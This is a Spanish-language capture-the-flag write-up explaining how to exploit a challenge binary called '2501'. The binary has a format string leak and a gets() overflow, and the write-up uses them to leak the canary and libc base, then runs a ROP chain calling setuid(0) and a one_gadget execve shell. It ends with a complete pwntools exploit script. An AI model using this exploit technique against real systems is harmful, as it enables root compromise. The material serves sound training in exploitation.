Hola acá les dejo el writeup/solución del desafío que publicamos con l4t1n HTB y Q4, El desafío consistía de una parte web, un crypto y luego este, un binario que permitía escalar a root, entregando la flag final. El binario lo pueden descargar de acá
Como dato para correr el binario remoto y escalar en sus maquinas locales, deben ejecutar como root el binario de la siguiente forma
socat tcp-listen:5555,reuseaddr,fork, exec:"./2501"
https://github.com/dplastico/desafio_2501
Luego de reconocimiento nos encontramos con un archivo llamado 2501 el cual después de analizar y previa enumeración nos damos cuenta es el mismo que esta corriendo como root en el puerto 5555
El programa simplemente pide un nombre y luego un código el cual devuelve nuestro "input"... mmm... Que podrá significar esto…
Dado que tenemos el mismo binario procedemos a analizarlo podemos ver que tiene activada las protecciones PIE, NX y CANARY (observamos algunas herramientas útiles como pwntools instaladas)
Y además es un ELF 64 bits dinámicamente “linkeado” por lo que ocupa librerías de libc
Analicemos el binario y sus funciones podemos descargarlo para mayor conveniencia luego deberemos ejecutarlo remoto (para esto ocuparé Hopper)
Observamos que lee la variable var_50 desde un input y luego la imprime!
Esto Parece un format string, probémoslo
https://es.wikipedia.org/wiki/Format_String_Attack
Efectivamente tenemos un memory leak! Antes de aprovecharnos de el sigamos revisando el binario
Vemos que la función center la cual nos lleva el flujo del binario tiene un clásico overflow via GETS
https://linux.die.net/man/3/gets
Ok, Tenemos ASLR en el sistema y el binario esta con la protección PIE por lo que debemos encontrar una forma de generar un “leak” de alguna dirección en libc, calcular el offset a la dirección base y de esta forma poder realizar un buffer overflow con ret2libc, pero dado que no tenemos una llamada a system, será mejor probar con ROP ya que el stack no es ejecutable, por lo que un shellcode no servirá pero tenemos algunos problemas, primero tenemos que ver como bypasear la protección de stack cookies, o CANARY
Acá tenemos una explicación de que es la protección CANARY Y ASLR
Para lograr esto en 32 bit podríamos intentar hacer un “brute force” a la dirección de canary, pero dado que nos encontramos en 64 bit esto no parece posible (serian mas de 16^7 direcciones, algo más de 260 millones)
Pero tenemos un format string! Será que podemos hacer un “leak” de esta dirección? Veamos que podemos ver en gdb, para eso debemos frenar la ejecución luego de ingresar nuestro bof, veamos:
Primero nos encargamos de filtrar las direcciones en un formato reconocible para eso las ponemos separadas por guiones y en formato mas legible
Veamos si alguna de estas direcciones puede servirnos, avanzamos en el programa en busca del chequeo del canary, pegamos nuestro breakpoint en la función center (con el bof) y continuamos
Haciendo un disassembly podemos ver que al registro RAX se le asigna un valor y luego se hace XOR que al compararse, si falla nos redirige a stack_chk_fail
Veamos si podemos encontrar el valor de RAX en nuestro leak luego de esta misma operación y que corresponde al valor del “leak” numero 15 después de “Hello”
Bueno y ahora? No sabemos en que offset está nuestro canary ni donde nuestra dirección de retorno, así que llego la hora de scriptear!, armemos un skeleton script en Python con pwntools ya que están en el server. Con mi config de gef creo un script fácil que ya tengo pre-seteado con el cual solo necesito crear la función exploit (mas info sobre GEF acá https://github.com/hugsy/gef)
pero creare dos funciones, primero una para calcular el offset del canary, aprovechándonos del mensaje de “stack smashing detected”:
Con esto podemos calcular el offset del canary el cual se encuentra en a 136 caracteres de input, con esto procedemos a calcular el offset a la dirección de retorno, podemos crear una pequeña función
OK con esto calculamos que la dirección de retorno se encuentra 8 bytes luego del CANARY, así que ahora ya podemos comenzar a construir la llamada a nuestra Shell. Pero tenemos PIE, como lograrlo?
Debemos calcular el offset de alguna dirección de libc, esta vez podemos ver que las primeras direcciones parecen ser de libc, por lo que veamos si se cargan en algun registro que nos permita hacer el cálculo:
Generamos un leak:
Y observamos los registros (info reg)
Vemos como el cuarto valor se asigna al registro R8, si esta dirección es de libc siempre podremos saber el offset para calcular la dirección base de libc!
Observamos la dirección de libc base (info proc map)
Excelente así que ahora podemos calcular el offset
Genial tenemos el offset para calcular libc
Ya podemos empezar a armar nuestro exploit! Tenemos varias posibilidades, pero para esta vez usare una técnica, que aprendí hace poco, Construiremos nuestro exploit de la siguiente forma
JUNK + CANARY +JUNK(hasta ret) + poprdi(en libc)+NULL(para setuid) + SETUID(en libc) + GADGET(execve(“/bin/sh”))
Para buscar un pop rdi ret usamos ropper
Para buscar setuid usamos pwntools y luego buscamos nuestro gadget, esta vez usaremos la herramienta one_gadget (vaya que es útil) para buscar un execve(“/bin/sh”)
Ahora armemos todo junto
Listo A ejecutar remoto!
Desafio concluido! espero les haya gustado :)
Exploit final:
#!/usr/bin/env python2
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux",
terminal=["gnome-terminal", "new window"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("2501")
e = ELF(TARGET)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#ejecutar python exploit.py remote (para tomar el proceso en escucha)
#la cuarta direccion que se lekea nos da un offset para calcular libc base
#>>> offset = 0x7ffff7ff2440 - 0x7ffff7a3a000
#>>> print hex(offset)
#0x5b8440
#>>>
offset = 0x1c2500 # de R9 que parece estar en libc
#calculamos este gadget con one_gadget (vaya herramienta)
gadget = 0x4484f #excev(/bin/sh)
setuid = l.symbols['setuid'] # no necesita explicacion
pop_rdi = 0x23a5f #pop rdi ret en libc (por que no?)
#funcion para calcular el canary... no mucho que explicar
def offset_canary():
for i in range(1, 200):
r = process([TARGET,])
test = "aaa"
pattern = "A" * i
r.sendlineafter("Name: ", test)
r.readuntil('Code:')
r.sendline(pattern)
response = r.recvall()
if "stack smashing detected" in response:
print "CANARY empieza en ", i
r.close()
break
else:
print "NAAAAAA siga particopando "
r.close()
#con esta funcion descrubrimos el offset en canary + 8 bytes (cae en RSP)
def offset_ret(r):
#r = process([TARGET,])
test = "%lx-" * 15
r.sendlineafter("Name: ", test)
response = r.readuntil('Code:')
response = response.split('-')
canary = int(response[-2],16)
print hex(canary)
pattern = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII" #encontrado 8 mas (donde empiezan las C)
payload = "A" * 136 + p64(canary) + pattern
r.sendline(payload)
#resp = r.recvall()
r.interactive()
def exploit(r):
payload = "%lx-" * 15
r.sendlineafter("Name: ", payload)
response = r.readuntil('Code:')
response = response.split('-')
print "format strings shits : ", response
canary = int(response[-2],16)
print hex(canary)
libc = int(response[3],16) - offset
print hex(libc)
payload = "A" * 136
payload += p64(canary)
payload += "B" * 8 #junk hasta ret
payload += p64(libc + pop_rdi)
payload += p64(0x0) #null para setuid
payload += p64(libc + setuid) #si vamos a usar esta tecnica ojo con la prueba local
payload += p64(libc + gadget) #super gadget
r.sendline(payload)
r.interactive()
return
if __name__ == "__main__":
if len(sys.argv)==2 and sys.argv[1]=="remote":
REMOTE = True
r = remote("127.0.0.1", 5555)
else:
LOCAL = True
r = process([TARGET,])
print "PID para debug"
print util.proc.pidof(r) #solo para atachar a GDB soy flojo
#pause() #ermm
exploit(r)
#offset_canary()
#offset_ret(r)
sys.exit(0)